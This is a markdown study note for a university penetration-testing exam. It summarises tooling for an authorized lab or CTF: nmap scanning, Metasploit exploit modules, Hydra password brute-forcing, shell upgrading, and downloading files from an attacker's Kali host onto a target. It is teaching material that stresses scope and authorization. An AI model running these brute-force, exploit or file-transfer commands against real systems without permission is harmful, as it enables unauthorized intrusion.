Source: Juni_2026_Exams/Penetration_Testing/notes/01-tooling-overview.md

Penetration Testing Tooling Overview

Authorization Boundary

Commands that scan, brute-force, exploit, or create payloads are for the university lab/CTF only. Confirm the target and scope before pressing Enter.

Workspace Setup

export TARGET=127.0.0.1
mkdir -p exam/{scans,web,loot,notes}
cd exam
date -u | tee notes/start-time.txt

Use a target variable to reduce typing errors. Read it back before intrusive commands:

printf 'Target: %s\n' "$TARGET"

For the full CTF decision tree, use notes/04-detailed-ctf-exam-playbook.md. For fast copy-paste commands, use checklists/pentest-command-cheatsheet.md.

Nmap

# Host discovery, where ICMP is expected to work
nmap -sn <LAB_SUBNET>

# All TCP ports; -Pn skips host discovery when a local CTF blocks probes
nmap -Pn -sV -p- "$TARGET" -oA scans/all-tcp

# Default scripts and versions on discovered ports
nmap -Pn -sC -sV -p <PORTS> "$TARGET" -oA scans/detail

# UDP top ports when the task suggests UDP
sudo nmap -sU --top-ports 50 "$TARGET" -oA scans/udp-top

-A is noisy and broad. Prefer targeted scripts after reading the service results. SYN scans and so-called stealth scans are still detectable.

tcpdump and hping3

sudo tcpdump -ni any host "$TARGET"
sudo tcpdump -ni any 'tcp and host <IP>'
sudo tcpdump -ni any 'udp and src host <DNS_IP>'
sudo hping3 -S -p 80 -c 3 "$TARGET"

Use these to observe traffic or test a specific protocol assumption, not as a replacement for interpreting Nmap results.

Web and File Inspection

curl -i "http://$TARGET:<PORT>/"
curl -s "http://$TARGET:<PORT>/robots.txt"
curl -sSLO "http://$TARGET:<PORT>/<FILE>"
file <FILE>
sha256sum <FILE>
exiftool <FILE>
strings -a <FILE> | less

Decode without adding a newline:

printf '%s' '<BASE64>' | base64 -d
printf '%s' '<HEX>' | xxd -r -p
python3 -c "print(bytes.fromhex('<HEX>').decode())"

Netcat and Common Clients

nc -nv "$TARGET" <PORT>
ftp "$TARGET" <PORT>
ssh -p <PORT> <USER>@"$TARGET"
mysql -h "$TARGET" -P <PORT> -u <USER> -p
smbclient -L //"$TARGET" -N

For HTTP-like unknown services:

printf 'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n' | nc -nv "$TARGET" <PORT>

Searchsploit

searchsploit <PRODUCT> <VERSION>
searchsploit --cve <CVE-ID>
searchsploit -x <EXPLOIT_DB_PATH>
searchsploit -m <EXPLOIT_DB_PATH>

Read the exploit before using it. Verify product, version, platform, architecture, prerequisites, and side effects.

Metasploit

Initialize once if the database is unavailable:

sudo msfdb init
msfconsole

Inside msfconsole:

db_status
workspace -a exam
db_nmap -sV -p <PORTS> <TARGET>
hosts
services
search type:exploit name:<PRODUCT>
info <MODULE>
use <MODULE>
show options
set RHOSTS <TARGET>
set RPORT <PORT>
check
run
sessions -l

Modern Metasploit normally connects to its database automatically after msfdb init; old slide instructions using db_connect 127.0.0.1 are not the default modern workflow.

Hydra

Use only when the exam explicitly requires an authorized password audit:

hydra -l <USER> -P <WORDLIST> -s <PORT> ssh://"$TARGET"
hydra -L <USERS> -P <PASSWORDS> -s <PORT> ftp://"$TARGET"

First test obvious supplied credentials and small targeted lists. Large wordlists waste exam time and can overload services.

Shell Handling

Baseline:

id
whoami
hostname
uname -a
pwd
ip addr
ip route
ss -lntup

Upgrade a Linux shell when Python is present:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Then press Ctrl-Z locally:

stty raw -echo; fg
export TERM=xterm

Press Enter after fg. Restore a damaged local terminal with reset.

nc -e is absent from many Netcat builds. Use only the lab-provided syntax or the method specified by the exercise.

File Transfer

Serve from Kali:

python3 -m http.server 8000 --directory <SERVE_DIRECTORY>

Download on Linux:

curl -fLO "http://<KALI_IP>:8000/<FILE>"

Download on Windows PowerShell:

Invoke-WebRequest http://<KALI_IP>:8000/<FILE> -OutFile <FILE>

Use SMB and TFTP only when the relevant lecture exercise requires them.

Reporting

For each finding, record:

Finding:
Target and port:
Command/tool:
Observed output:
Interpretation:
Flag or proof:

An answer is stronger when the observed line and the reasoning are both visible.